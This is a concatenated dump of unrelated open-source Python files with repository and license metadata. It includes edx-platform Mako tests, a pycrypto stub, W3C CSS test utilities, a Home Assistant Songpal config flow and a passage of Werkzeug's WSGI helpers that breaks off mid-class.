QtCore.QModelIndex()), pieces[0]) self.model.setData(self.model.index(row, 1, QtCore.QModelIndex()), float(pieces[1])) self.model.setData(self.model.index(row, 0, QtCore.QModelIndex()), QtGui.QColor(pieces[2]), QtCore.Qt.DecorationRole) row += 1 line = stream.readLine() f.close() self.statusBar().showMessage("Loaded %s" % path, 2000) def saveFile(self): fileName = QtGui.QFileDialog.getSaveFileName(self, "Save file as", '', '*.cht') if fileName: f = QtCore.QFile(fileName) if f.open(QtCore.QFile.WriteOnly | QtCore.QFile.Text): for row in range(self.model.rowCount(QtCore.QModelIndex())): pieces = [] pieces.append(self.model.data(self.model.index(row, 0, QtCore.QModelIndex()), QtCore.Qt.DisplayRole)) pieces.append(str(self.model.data(self.model.index(row, 1, QtCore.QModelIndex()), QtCore.Qt.DisplayRole))) pieces.append(self.model.data(self.model.index(row, 0, QtCore.QModelIndex()), QtCore.Qt.DecorationRole).name()) f.write(QtCore.QByteArray(','.join(pieces))) f.write('\n') f.close() self.statusBar().showMessage("Saved %s" % fileName, 2000) if __name__ == '__main__': import sys app = QtGui.QApplication(sys.argv) window = MainWindow() window.show() sys.exit(app.exec_())
gpl-2.0
raccoongang/edx-platform
common/djangoapps/edxmako/tests.py
1
7168
import unittest import ddt from django.conf import settings from django.core.urlresolvers import reverse from django.http import HttpResponse from django.test import TestCase from django.test.client import RequestFactory from django.test.utils import override_settings from mock import Mock, patch from edxmako import LOOKUP, add_lookup from edxmako.request_context import get_template_request_context from edxmako.shortcuts import is_any_marketing_link_set, is_marketing_link_set, marketing_link, render_to_string from request_cache.middleware import RequestCache from student.tests.factories import UserFactory from util.testing import UrlResetMixin @ddt.ddt class ShortcutsTests(UrlResetMixin, TestCase): """ Test the edxmako shortcuts file """ @override_settings(MKTG_URLS={'ROOT': 'https://dummy-root', 'ABOUT': '/about-us'}) @override_settings(MKTG_URL_LINK_MAP={'ABOUT': 'login'}) def test_marketing_link(self): # test marketing site on with patch.dict('django.conf.settings.FEATURES', {'ENABLE_MKTG_SITE': True}): expected_link = 'https://dummy-root/about-us' link = marketing_link('ABOUT') self.assertEquals(link, expected_link) # test marketing site off with patch.dict('django.conf.settings.FEATURES', {'ENABLE_MKTG_SITE': False}): # we are using login because it is common across both cms and lms expected_link = reverse('login') link = marketing_link('ABOUT') self.assertEquals(link, expected_link) @override_settings(MKTG_URLS={'ROOT': 'https://dummy-root', 'ABOUT': '/about-us'}) @override_settings(MKTG_URL_LINK_MAP={'ABOUT': 'login'}) def test_is_marketing_link_set(self): # test marketing site on with patch.dict('django.conf.settings.FEATURES', {'ENABLE_MKTG_SITE': True}): self.assertTrue(is_marketing_link_set('ABOUT')) self.assertFalse(is_marketing_link_set('NOT_CONFIGURED')) # test marketing site off with patch.dict('django.conf.settings.FEATURES', {'ENABLE_MKTG_SITE': False}): self.assertTrue(is_marketing_link_set('ABOUT')) self.assertFalse(is_marketing_link_set('NOT_CONFIGURED')) @override_settings(MKTG_URLS={'ROOT': 'https://dummy-root', 'ABOUT': '/about-us'}) @override_settings(MKTG_URL_LINK_MAP={'ABOUT': 'login'}) def test_is_any_marketing_link_set(self): # test marketing site on with patch.dict('django.conf.settings.FEATURES', {'ENABLE_MKTG_SITE': True}): self.assertTrue(is_any_marketing_link_set(['ABOUT'])) self.assertTrue(is_any_marketing_link_set(['ABOUT', 'NOT_CONFIGURED'])) self.assertFalse(is_any_marketing_link_set(['NOT_CONFIGURED'])) # test marketing site off with patch.dict('django.conf.settings.FEATURES', {'ENABLE_MKTG_SITE': False}): self.assertTrue(is_any_marketing_link_set(['ABOUT'])) self.assertTrue(is_any_marketing_link_set(['ABOUT', 'NOT_CONFIGURED'])) self.assertFalse(is_any_marketing_link_set(['NOT_CONFIGURED'])) @override_settings(EXTERNAL_MKTG_URLS={'HONOR': 'https://example.com'}) def test_external_marketing_links(self): # test marketing site off with patch.dict('django.conf.settings.FEATURES', {'ENABLE_MKTG_SITE': False}): result = marketing_link('HONOR') expected_result = settings.EXTERNAL_MKTG_URLS.get('HONOR') self.assertEqual(result, expected_result) class AddLookupTests(TestCase): """ Test the `add_lookup` function. """ @patch('edxmako.LOOKUP', {}) def test_with_package(self): add_lookup('test', 'management', __name__) dirs = LOOKUP['test'].directories self.assertEqual(len(dirs), 1) self.assertTrue(dirs[0].endswith('management')) class MakoRequestContextTest(TestCase): """ Test MakoMiddleware. """ def setUp(self): super(MakoRequestContextTest, self).setUp() self.user = UserFactory.create() self.url = "/" self.request = RequestFactory().get(self.url) self.request.user = self.user self.response = Mock(spec=HttpResponse) self.addCleanup(RequestCache.clear_request_cache) def test_with_current_request(self): """ Test that if get_current_request returns a request, then get_template_request_context returns a RequestContext. """ with patch('edxmako.request_context.get_current_request', return_value=self.request): # requestcontext should not be None. self.assertIsNotNone(get_template_request_context()) def test_without_current_request(self): """ Test that if get_current_request returns None, then get_template_request_context returns None. """ with patch('edxmako.request_context.get_current_request', return_value=None): # requestcontext should be None. self.assertIsNone(get_template_request_context()) def test_request_context_caching(self): """ Test that the RequestContext is cached in the RequestCache. """ with patch('edxmako.request_context.get_current_request', return_value=None): # requestcontext should be None, because the cache isn't filled self.assertIsNone(get_template_request_context()) with patch('edxmako.request_context.get_current_request', return_value=self.request): # requestcontext should not be None, and should fill the cache self.assertIsNotNone(get_template_request_context()) mock_get_current_request = Mock() with patch('edxmako.request_context.get_current_request', mock_get_current_request): # requestcontext should not be None, because the cache is filled self.assertIsNotNone(get_template_request_context()) mock_get_current_request.assert_not_called() RequestCache.clear_request_cache() with patch('edxmako.request_context.get_current_request', return_value=None): # requestcontext should be None, because the cache isn't filled self.assertIsNone(get_template_request_context()) @unittest.skipUnless(settings.ROOT_URLCONF == 'lms.urls', 'Test only valid in lms') def test_render_to_string_when_no_global_context_lms(self): """ Test render_to_string() when makomiddleware has not initialized the threadlocal REQUEST_CONTEXT.context. This is meant to run in LMS. """ self.assertIn("this module is temporarily unavailable", render_to_string("courseware/error-message.html", None)) @unittest.skipUnless(settings.ROOT_URLCONF == 'cms.urls', 'Test only valid in cms') def test_render_to_string_when_no_global_context_cms(self): """ Test render_to_string() when makomiddleware has not initialized the threadlocal REQUEST_CONTEXT.context. This is meant to run in CMS. """ self.assertIn("We're having trouble rendering your component", render_to_string("html_error.html", None))
agpl-3.0
mapr/hue
desktop/core/ext-py/pycrypto-2.6.1/lib/Crypto/Util/winrandom.py
139
1196
# # Util/winrandom.py : Stub for Crypto.Random.OSRNG.winrandom # # Written in 2008 by Dwayne C. Litzenberger <[email protected]> # # =================================================================== # The contents of this file are dedicated to the public domain. To # the extent that dedication to the public domain is not available, # everyone is granted a worldwide, perpetual, royalty-free, # non-exclusive license to exercise all rights associated with the # contents of this file for any purpose whatsoever. # No rights are reserved. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, # EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF # MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND # NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS # BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN # ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN # CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. # =================================================================== __revision__ = "$Id$" from Crypto.Random.OSRNG.winrandom import * # vim:set ts=4 sw=4 sts=4 expandtab:
apache-2.0
Tranzystorek/servo
tests/wpt/web-platform-tests/css/tools/w3ctestlib/Utils.py
61
5020
#!/usr/bin/python # CSS Test Suite Manipulation Library Utilities # Initial code by fantasai, joint copyright 2010 W3C and Microsoft # Licensed under BSD 3-Clause: <http://www.w3.org/Consortium/Legal/2008/03-bsd-license> ###### XML Parsing ###### import os import w3ctestlib os.environ['XML_CATALOG_FILES'] = os.path.join(w3ctestlib.__path__[0], 'catalog/catalog.xml') ###### File path manipulation ###### import os.path from os.path import sep, pardir def assetName(path): return intern(os.path.splitext(os.path.basename(path))[0].lower().encode('ascii')) def basepath(path): """ Returns the path part of os.path.split. """ return os.path.split(path)[0] def isPathInsideBase(path, base=''): path = os.path.normpath(path) if base: base = os.path.normpath(base) pathlist = path.split(os.path.sep) baselist = base.split(os.path.sep) while baselist: p = pathlist.pop(0) b = baselist.pop(0) if p != b: return False return not pathlist[0].startswith(os.path.pardir) return not path.startswith(os.path.pardir) def relpath(path, start): """Return relative path from start to end. WARNING: this is not the same as a relative URL; see relativeURL().""" try: return os.path.relpath(path, start) except AttributeError: # This function is copied directly from the Python 2.6 source # code, and is therefore under a different license. if not path: raise ValueError("no path specified") start_list = os.path.abspath(start).split(sep) path_list = os.path.abspath(path).split(sep) if start_list[0].lower() != path_list[0].lower(): unc_path, rest = os.path.splitunc(path) unc_start, rest = os.path.splitunc(start) if bool(unc_path) ^ bool(unc_start): raise ValueError("Cannot mix UNC and non-UNC paths (%s and %s)" % (path, start)) else: raise ValueError("path is on drive %s, start on drive %s" % (path_list[0], start_list[0])) # Work out how much of the filepath is shared by start and path. for i in range(min(len(start_list), len(path_list))): if start_list[i].lower() != path_list[i].lower(): break else: i += 1 rel_list = [pardir] * (len(start_list)-i) + path_list[i:] if not rel_list: return os.path.curdir return os.path.join(*rel_list) def relativeURL(start, end): """ Returns relative URL from `start` to `end`. """ # if isPathInsideBase(end, start): # return relpath(end, start) # else: return relpath(end, basepath(start)) def listfiles(path, ext = None): """ Returns a list of all files in a directory. Optionally lists only files with a given extension. """ try: _,_,files = os.walk(path).next() if (ext): files = [fileName for fileName in files if fileName.endswith(ext)] except StopIteration, e: files = [] return files def listdirs(path): """ Returns a list of all subdirectories in a directory. """ try: _,dirs,_ = os.walk(path).next() except StopIteration, e: dirs = [] return dirs ###### MIME types and file extensions ###### extensionMap = { None : 'application/octet-stream', # default '.xht' : 'application/xhtml+xml', '.xhtml' : 'application/xhtml+xml', '.xml' : 'application/xml', '.htm' : 'text/html', '.html' : 'text/html', '.txt' : 'text/plain', '.jpg' : 'image/jpeg', '.png' : 'image/png', '.svg' : 'image/svg+xml', } def getMimeFromExt(filepath): """Convenience function: equal to extenionMap.get(ext, extensionMap[None]). """ if filepath.endswith('.htaccess'): return 'config/htaccess' ext = os.path.splitext(filepath)[1] return extensionMap.get(ext, extensionMap[None]) ###### Escaping ###### import types from htmlentitydefs import entitydefs entityify = dict([c,e] for e,c in entitydefs.iteritems()) def escapeMarkup(data): """Escape markup characters (&, >, <). Copied from xml.sax.saxutils. """ # must do ampersand first data = data.replace("&", "&amp;") data = data.replace(">", "&gt;") data = data.replace("<", "&lt;") return data def escapeToNamedASCII(text): """Escapes to named entities where possible and numeric-escapes non-ASCII """ return escapeToNamed(text).encode('ascii', 'xmlcharrefreplace') def escapeToNamed(text): """Escape characters with named entities. """ escapable = set() for c in text: if ord(c) > 127: escapable.add(c) if type(text) == types.UnicodeType: for c in escapable: cLatin = c.encode('Latin-1', 'ignore') if (cLatin in entityify): text = text.replace(c, "&%s;" % entityify[cLatin]) else: for c in escapable: text = text.replace(c, "&%s;" % entityify[c]) return text
mpl-2.0
w1ll1am23/home-assistant
homeassistant/components/songpal/config_flow.py
3
5300
"""Config flow to configure songpal component.""" from __future__ import annotations import logging from urllib.parse import urlparse from songpal import Device, SongpalException import voluptuous as vol from homeassistant import config_entries from homeassistant.components import ssdp from homeassistant.const import CONF_HOST, CONF_NAME from homeassistant.core import callback from .const import CONF_ENDPOINT, DOMAIN _LOGGER = logging.getLogger(__name__) class SongpalConfig: """Device Configuration.""" def __init__(self, name, host, endpoint): """Initialize Configuration.""" self.name = name self.host = host self.endpoint = endpoint class SongpalConfigFlow(config_entries.ConfigFlow, domain=DOMAIN): """Songpal configuration flow.""" VERSION = 1 CONNECTION_CLASS = config_entries.CONN_CLASS_LOCAL_PUSH def __init__(self): """Initialize the flow.""" self.conf: SongpalConfig | None = None async def async_step_user(self, user_input=None): """Handle a flow initiated by the user.""" if user_input is None: return self.async_show_form( step_id="user", data_schema=vol.Schema({vol.Required(CONF_ENDPOINT): str}), ) # Validate input endpoint = user_input[CONF_ENDPOINT] parsed_url = urlparse(endpoint) # Try to connect and get device name try: device = Device(endpoint) await device.get_supported_methods() interface_info = await device.get_interface_information() name = interface_info.modelName except SongpalException as ex: _LOGGER.debug("Connection failed: %s", ex) return self.async_show_form( step_id="user", data_schema=vol.Schema( { vol.Required( CONF_ENDPOINT, default=user_input.get(CONF_ENDPOINT, "") ): str, } ), errors={"base": "cannot_connect"}, ) self.conf = SongpalConfig(name, parsed_url.hostname, endpoint) return await self.async_step_init(user_input) async def async_step_init(self, user_input=None): """Handle a flow start.""" # Check if already configured if self._async_endpoint_already_configured(): return self.async_abort(reason="already_configured") if user_input is None: return self.async_show_form( step_id="init", description_placeholders={ CONF_NAME: self.conf.name, CONF_HOST: self.conf.host, }, ) await self.async_set_unique_id(self.conf.endpoint) self._abort_if_unique_id_configured() return self.async_create_entry( title=self.conf.name, data={CONF_NAME: self.conf.name, CONF_ENDPOINT: self.conf.endpoint}, ) async def async_step_ssdp(self, discovery_info): """Handle a discovered Songpal device.""" await self.async_set_unique_id(discovery_info[ssdp.ATTR_UPNP_UDN]) self._abort_if_unique_id_configured() _LOGGER.debug("Discovered: %s", discovery_info) friendly_name = discovery_info[ssdp.ATTR_UPNP_FRIENDLY_NAME] parsed_url = urlparse(discovery_info[ssdp.ATTR_SSDP_LOCATION]) scalarweb_info = discovery_info["X_ScalarWebAPI_DeviceInfo"] endpoint = scalarweb_info["X_ScalarWebAPI_BaseURL"] service_types = scalarweb_info["X_ScalarWebAPI_ServiceList"][ "X_ScalarWebAPI_ServiceType" ] # Ignore Bravia TVs if "videoScreen" in service_types: return self.async_abort(reason="not_songpal_device") self.context["title_placeholders"] = { CONF_NAME: friendly_name, CONF_HOST: parsed_url.hostname, } self.conf = SongpalConfig(friendly_name, parsed_url.hostname, endpoint) return await self.async_step_init() async def async_step_import(self, user_input=None): """Import a config entry.""" name = user_input.get(CONF_NAME) endpoint = user_input.get(CONF_ENDPOINT) parsed_url = urlparse(endpoint) # Try to connect to test the endpoint try: device = Device(endpoint) await device.get_supported_methods() # Get name if name is None: interface_info = await device.get_interface_information() name = interface_info.modelName except SongpalException as ex: _LOGGER.error("Import from yaml configuration failed: %s", ex) return self.async_abort(reason="cannot_connect") self.conf = SongpalConfig(name, parsed_url.hostname, endpoint) return await self.async_step_init(user_input) @callback def _async_endpoint_already_configured(self): """See if we already have an endpoint matching user input configured.""" for entry in self._async_current_entries(): if entry.data.get(CONF_ENDPOINT) == self.conf.endpoint: return True return False
apache-2.0
Vogeltak/pauselan
lib/python3.4/site-packages/werkzeug/wsgi.py
147
37837
# -*- coding: utf-8 -*- """ werkzeug.wsgi ~~~~~~~~~~~~~ This module implements WSGI related helpers. :copyright: (c) 2014 by the Werkzeug Team, see AUTHORS for more details. :license: BSD, see LICENSE for more details. """ import re import os import sys import posixpath import mimetypes from itertools import chain from zlib import adler32 from time import time, mktime from datetime import datetime from functools import partial, update_wrapper from werkzeug._compat import iteritems, text_type, string_types, \ implements_iterator, make_literal_wrapper, to_unicode, to_bytes, \ wsgi_get_bytes, try_coerce_native, PY2 from werkzeug._internal import _empty_stream, _encode_idna from werkzeug.http import is_resource_modified, http_date from werkzeug.urls import uri_to_iri, url_quote, url_parse, url_join def responder(f): """Marks a function as responder. Decorate a function with it and it will automatically call the return value as WSGI application. Example:: @responder def application(environ, start_response): return Response('Hello World!') """ return update_wrapper(lambda *a: f(*a)(*a[-2:]), f) def get_current_url(environ, root_only=False, strip_querystring=False, host_only=False, trusted_hosts=None): """A handy helper function that recreates the full URL as IRI for the current request or parts of it. Here an example: >>> from werkzeug.test import create_environ >>> env = create_environ("/?param=foo", "http://localhost/script") >>> get_current_url(env) 'http://localhost/script/?param=foo' >>> get_current_url(env, root_only=True) 'http://localhost/script/' >>> get_current_url(env, host_only=True) 'http://localhost/' >>> get_current_url(env, strip_querystring=True) 'http://localhost/script/' This optionally it verifies that the host is in a list of trusted hosts. If the host is not in there it will raise a :exc:`~werkzeug.exceptions.SecurityError`. Note that the string returned might contain unicode characters as the representation is an IRI not an URI. If you need an ASCII only representation you can use the :func:`~werkzeug.urls.iri_to_uri` function: >>> from werkzeug.urls import iri_to_uri >>> iri_to_uri(get_current_url(env)) 'http://localhost/script/?param=foo' :param environ: the WSGI environment to get the current URL from. :param root_only: set `True` if you only want the root URL. :param strip_querystring: set to `True` if you don't want the querystring. :param host_only: set to `True` if the host URL should be returned. :param trusted_hosts: a list of trusted hosts, see :func:`host_is_trusted` for more information. """ tmp = [environ['wsgi.url_scheme'], '://', get_host(environ, trusted_hosts)] cat = tmp.append if host_only: return uri_to_iri(''.join(tmp) + '/') cat(url_quote(wsgi_get_bytes(environ.get('SCRIPT_NAME', ''))).rstrip('/')) cat('/') if not root_only: cat(url_quote(wsgi_get_bytes(environ.get('PATH_INFO', '')).lstrip(b'/'))) if not strip_querystring: qs = get_query_string(environ) if qs: cat('?' + qs) return uri_to_iri(''.join(tmp)) def host_is_trusted(hostname, trusted_list): """Checks if a host is trusted against a list. This also takes care of port normalization. .. versionadded:: 0.9 :param hostname: the hostname to check :param trusted_list: a list of hostnames to check against. If a hostname starts with a dot it will match against all subdomains as well. """ if not hostname: return False if isinstance(trusted_list, string_types): trusted_list = [trusted_list] def _normalize(hostname): if ':' in hostname: hostname = hostname.rsplit(':', 1)[0] return _encode_idna(hostname) hostname = _normalize(hostname) for ref in trusted_list: if ref.startswith('.'): ref = ref[1:] suffix_match = True else: suffix_match = False ref = _normalize(ref) if ref == hostname: return True if suffix_match and hostname.endswith('.' + ref): return True return False def get_host(environ, trusted_hosts=None): """Return the real host for the given WSGI environment. This first checks the `X-Forwarded-Host` header, then the normal `Host` header, and finally the `SERVER_NAME` environment variable (using the first one it finds). Optionally it verifies that the host is in a list of trusted hosts. If the host is not in there it will raise a :exc:`~werkzeug.exceptions.SecurityError`. :param environ: the WSGI environment to get the host of. :param trusted_hosts: a list of trusted hosts, see :func:`host_is_trusted` for more information. """ if 'HTTP_X_FORWARDED_HOST' in environ: rv = environ['HTTP_X_FORWARDED_HOST'].split(',', 1)[0].strip() elif 'HTTP_HOST' in environ: rv = environ['HTTP_HOST'] else: rv = environ['SERVER_NAME'] if (environ['wsgi.url_scheme'], environ['SERVER_PORT']) not \ in (('https', '443'), ('http', '80')): rv += ':' + environ['SERVER_PORT'] if trusted_hosts is not None: if not host_is_trusted(rv, trusted_hosts): from werkzeug.exceptions import SecurityError raise SecurityError('Host "%s" is not trusted' % rv) return rv def get_content_length(environ): """Returns the content length from the WSGI environment as integer. If it's not available `None` is returned. .. versionadded:: 0.9 :param environ: the WSGI environ to fetch the content length from. """ content_length = environ.get('CONTENT_LENGTH') if content_length is not None: try: return max(0, int(content_length)) except (ValueError, TypeError): pass def get_input_stream(environ, safe_fallback=True): """Returns the input stream from the WSGI environment and wraps it in the most sensible way possible. The stream returned is not the raw WSGI stream in most cases but one that is safe to read from without taking into account the content length. .. versionadded:: 0.9 :param environ: the WSGI environ to fetch the stream from. :param safe: indicates weather the function should use an empty stream as safe fallback or just return the original WSGI input stream if it can't wrap it safely. The default is to return an empty string in those cases. """ stream = environ['wsgi.input'] content_length = get_content_length(environ) # A wsgi extension that tells us if the input is terminated. In # that case we return the stream unchanged as we know we can savely # read it until the end. if environ.get('wsgi.input_terminated'): return stream # If we don't have a content length we fall back to an empty stream # in case of a safe fallback, otherwise we return the stream unchanged. # The non-safe fallback is not recommended but might be useful in # some situations. if content_length is None: return safe_fallback and _empty_stream or stream # Otherwise limit the stream to the content length return LimitedStream(stream, content_length) def get_query_string(environ): """Returns the `QUERY_STRING` from the WSGI environment. This also takes care about the WSGI decoding dance on Python 3 environments as a native string. The string returned will be restricted to ASCII characters. .. versionadded:: 0.9 :param environ: the WSGI environment object to get the query string from. """ qs = wsgi_get_bytes(environ.get('QUERY_STRING', '')) # QUERY_STRING really should be ascii safe but some browsers # will send us some unicode stuff (I am looking at you IE). # In that case we want to urllib quote it badly. return try_coerce_native(url_quote(qs, safe=':&%=+$!*\'(),')) def get_path_info(environ, charset='utf-8', errors='replace'): """Returns the `PATH_INFO` from the WSGI environment and properly decodes it. This also takes care about the WSGI decoding dance on Python 3 environments. if the `charset` is set to `None` a bytestring is returned. .. versionadded:: 0.9 :param environ: the WSGI environment object to get the path from. :param charset: the charset for the path info, or `None` if no decoding should be performed. :param errors: the decoding error handling. """ path = wsgi_get_bytes(environ.get('PATH_INFO', '')) return to_unicode(path, charset, errors, allow_none_charset=True) def get_script_name(environ, charset='utf-8', errors='replace'): """Returns the `SCRIPT_NAME` from the WSGI environment and properly decodes it. This also takes care about the WSGI decoding dance on Python 3 environments. if the `charset` is set to `None` a bytestring is returned. .. versionadded:: 0.9 :param environ: the WSGI environment object to get the path from. :param charset: the charset for the path, or `None` if no decoding should be performed. :param errors: the decoding error handling. """ path = wsgi_get_bytes(environ.get('SCRIPT_NAME', '')) return to_unicode(path, charset, errors, allow_none_charset=True) def pop_path_info(environ, charset='utf-8', errors='replace'): """Removes and returns the next segment of `PATH_INFO`, pushing it onto `SCRIPT_NAME`. Returns `None` if there is nothing left on `PATH_INFO`. If the `charset` is set to `None` a bytestring is returned. If there are empty segments (``'/foo//bar``) these are ignored but properly pushed to the `SCRIPT_NAME`: >>> env = {'SCRIPT_NAME': '/foo', 'PATH_INFO': '/a/b'} >>> pop_path_info(env) 'a' >>> env['SCRIPT_NAME'] '/foo/a' >>> pop_path_info(env) 'b' >>> env['SCRIPT_NAME'] '/foo/a/b' .. versionadded:: 0.5 .. versionchanged:: 0.9 The path is now decoded and a charset and encoding parameter can be provided. :param environ: the WSGI environment that is modified. """ path = environ.get('PATH_INFO') if not path: return None script_name = environ.get('SCRIPT_NAME', '') # shift multiple leading slashes over old_path = path path = path.lstrip('/') if path != old_path: script_name += '/' * (len(old_path) - len(path)) if '/' not in path: environ['PATH_INFO'] = '' environ['SCRIPT_NAME'] = script_name + path rv = wsgi_get_bytes(path) else: segment, path = path.split('/', 1) environ['PATH_INFO'] = '/' + path environ['SCRIPT_NAME'] = script_name + segment rv = wsgi_get_bytes(segment) return to_unicode(rv, charset, errors, allow_none_charset=True) def peek_path_info(environ, charset='utf-8', errors='replace'): """Returns the next segment on the `PATH_INFO` or `None` if there is none. Works like :func:`pop_path_info` without modifying the environment: >>> env = {'SCRIPT_NAME': '/foo', 'PATH_INFO': '/a/b'} >>> peek_path_info(env) 'a' >>> peek_path_info(env) 'a' If the `charset` is set to `None` a bytestring is returned. .. versionadded:: 0.5 .. versionchanged:: 0.9 The path is now decoded and a charset and encoding parameter can be provided. :param environ: the WSGI environment that is checked. """ segments = environ.get('PATH_INFO', '').lstrip('/').split('/', 1) if segments: return to_unicode(wsgi_get_bytes(segments[0]), charset, errors, allow_none_charset=True) def extract_path_info(environ_or_baseurl, path_or_url, charset='utf-8', errors='replace', collapse_http_schemes=True): """Extracts the path info from the given URL (or WSGI environment) and path. The path info returned is a unicode string, not a bytestring suitable for a WSGI environment. The URLs might also be IRIs. If the path info could not be determined, `None` is returned. Some examples: >>> extract_path_info('http://example.com/app', '/app/hello') u'/hello' >>> extract_path_info('http://example.com/app', ... 'https://example.com/app/hello') u'/hello' >>> extract_path_info('http://example.com/app', ... 'https://example.com/app/hello', ... collapse_http_schemes=False) is None True Instead of providing a base URL you can also pass a WSGI environment. .. versionadded:: 0.6 :param environ_or_baseurl: a WSGI environment dict, a base URL or base IRI. This is the root of the application. :param path_or_url: an absolute path from the server root, a relative path (in which case it's the path info) or a full URL. Also accepts IRIs and unicode parameters. :param charset: the charset for byte data in URLs :param errors: the error handling on decode :param collapse_http_schemes: if set to `False` the algorithm does not assume that http and https on the same server point to the same resource. """ def _normalize_netloc(scheme, netloc): parts = netloc.split(u'@', 1)[-1].split(u':', 1) if len(parts) == 2: netloc, port = parts if (scheme == u'http' and port == u'80') or \ (scheme == u'https' and port == u'443'): port = None else: netloc = parts[0] port = None if port is not None: netloc += u':' + port return netloc # make sure whatever we are working on is a IRI and parse it path = uri_to_iri(path_or_url, charset, errors) if isinstance(environ_or_baseurl, dict): environ_or_baseurl = get_current_url(environ_or_baseurl, root_only=True) base_iri = uri_to_iri(environ_or_baseurl, charset, errors) base_scheme, base_netloc, base_path = url_parse(base_iri)[:3] cur_scheme, cur_netloc, cur_path, = \ url_parse(url_join(base_iri, path))[:3] # normalize the network location base_netloc = _normalize_netloc(base_scheme, base_netloc) cur_netloc = _normalize_netloc(cur_scheme, cur_netloc) # is that IRI even on a known HTTP scheme? if collapse_http_schemes: for scheme in base_scheme, cur_scheme: if scheme not in (u'http', u'https'): return None else: if not (base_scheme in (u'http', u'https') and base_scheme == cur_scheme): return None # are the netlocs compatible? if base_netloc != cur_netloc: return None # are we below the application path? base_path = base_path.rstrip(u'/') if not cur_path.startswith(base_path): return None return u'/' + cur_path[len(base_path):].lstrip(u'/') class SharedDataMiddleware(object): """A WSGI middleware that provides static content for development environments or simple server setups. Usage is quite simple:: import os from werkzeug.wsgi import SharedDataMiddleware app = SharedDataMiddleware(app, { '/shared': os.path.join(os.path.dirname(__file__), 'shared') }) The contents of the folder ``./shared`` will now be available on ``http://example.com/shared/``. This is pretty useful during development because a standalone media server is not required. One can also mount files on the root folder and still continue to use the application because the shared data middleware forwards all unhandled requests to the application, even if the requests are below one of the shared folders. If `pkg_resources` is available you can also tell the middleware to serve files from package data:: app = SharedDataMiddleware(app, { '/shared': ('myapplication', 'shared_files') }) This will then serve the ``shared_files`` folder in the `myapplication` Python package. The optional `disallow` parameter can be a list of :func:`~fnmatch.fnmatch` rules for files that are not accessible from the web. If `cache` is set to `False` no caching headers are sent. Currently the middleware does not support non ASCII filenames. If the encoding on the file system happens to be the encoding of the URI it may work but this could also be by accident. We strongly suggest using ASCII only file names for static files. The middleware will guess the mimetype using the Python `mimetype` module. If it's unable to figure out the charset it will fall back to `fallback_mimetype`. .. versionchanged:: 0.5 The cache timeout is configurable now. .. versionadded:: 0.6 The `fallback_mimetype` parameter was added. :param app: the application to wrap. If you don't want to wrap an application you can pass it :exc:`NotFound`. :param exports: a dict of exported files and folders. :param disallow: a list of :func:`~fnmatch.fnmatch` rules. :param fallback_mimetype: the fallback mimetype for unknown files. :param cache: enable or disable caching headers. :param cache_timeout: the cache timeout in seconds for the headers. """ def __init__(self, app, exports, disallow=None, cache=True, cache_timeout=60 * 60 * 12, fallback_mimetype='text/plain'): self.app = app self.exports = {} self.cache = cache self.cache_timeout = cache_timeout for key, value in iteritems(exports): if isinstance(value, tuple): loader = self.get_package_loader(*value) elif isinstance(value, string_types): if os.path.isfile(value): loader = self.get_file_loader(value) else: loader = self.get_directory_loader(value) else: raise TypeError('unknown def %r' % value) self.exports[key] = loader if disallow is not None: from fnmatch import fnmatch self.is_allowed = lambda x: not fnmatch(x, disallow) self.fallback_mimetype = fallback_mimetype def is_allowed(self, filename): """Subclasses can override this method to disallow the access to certain files. However by providing `disallow` in the constructor this method is overwritten. """ return True def _opener(self, filename): return lambda: ( open(filename, 'rb'), datetime.utcfromtimestamp(os.path.getmtime(filename)), int(os.path.getsize(filename)) ) def get_file_loader(self, filename): return lambda x: (os.path.basename(filename), self._opener(filename)) def get_package_loader(self, package, package_path): from pkg_resources import DefaultProvider, ResourceManager, \ get_provider loadtime = datetime.utcnow() provider = get_provider(package) manager = ResourceManager() filesystem_bound = isinstance(provider, DefaultProvider) def loader(path): if path is None: return None, None path = posixpath.join(package_path, path) if not provider.has_resource(path): return None, None basename = posixpath.basename(path) if filesystem_bound: return basename, self._opener( provider.get_resource_filename(manager, path)) return basename, lambda: ( provider.get_resource_stream(manager, path), loadtime, 0 ) return loader def get_directory_loader(self, directory): def loader(path): if path is not None: path = os.path.join(directory, path) else: path = directory if os.path.isfile(path): return os.path.basename(path), self._opener(path) return None, None return loader def generate_etag(self, mtime, file_size, real_filename): if not isinstance(real_filename, bytes): real_filename = real_filename.encode(sys.getfilesystemencoding()) return 'wzsdm-%d-%s-%s' % ( mktime(mtime.timetuple()), file_size, adler32(real_filename) & 0xffffffff ) def __call__(self, environ, start_response): cleaned_path = get_path_info(environ) if PY2: cleaned_path = cleaned_path.encode(sys.getfilesystemencoding()) # sanitize the path for non unix systems cleaned_path = cleaned_path.strip('/') for sep in os.sep, os.altsep: if sep and sep != '/': cleaned_path = cleaned_path.replace(sep, '/') path = '/' + '/'.join(x for x in cleaned_path.split('/') if x and x != '..') file_loader = None for search_path, loader in iteritems(self.exports): if search_path == path: real_filename, file_loader = loader(None) if file_loader is not None: break if not search_path.endswith('/'): search_path += '/' if path.startswith(search_path): real_filename, file_loader = loader(path[len(search_path):]) if file_loader is not None: break if file_loader is None or not self.is_allowed(real_filename): return self.app(environ, start_response) guessed_type = mimetypes.guess_type(real_filename) mime_type = guessed_type[0] or self.fallback_mimetype f, mtime, file_size = file_loader() headers = [('Date', http_date())] if self.cache: timeout = self.cache_timeout etag = self.generate_etag(mtime, file_size, real_filename) headers += [ ('Etag', '"%s"' % etag), ('Cache-Control', 'max-age=%d, public' % timeout) ] if not is_resource_modified(environ, etag, last_modified=mtime): f.close() start_response('304 Not Modified', headers) return [] headers.append(('Expires', http_date(time() + timeout))) else: headers.append(('Cache-Control', 'public')) headers.extend(( ('Content-Type', mime_type), ('Content-Length', str(file_size)), ('Last-Modified', http_date(mtime)) )) start_response('200 OK', headers) return wrap_file(environ, f) class DispatcherMiddleware(object): """Allows one to mount middlewares or applications in a WSGI application. This is useful if you want to combine multiple WSGI applications:: app = DispatcherMiddleware(app, { '/app2': app2, '/app3': app3 }) """ def 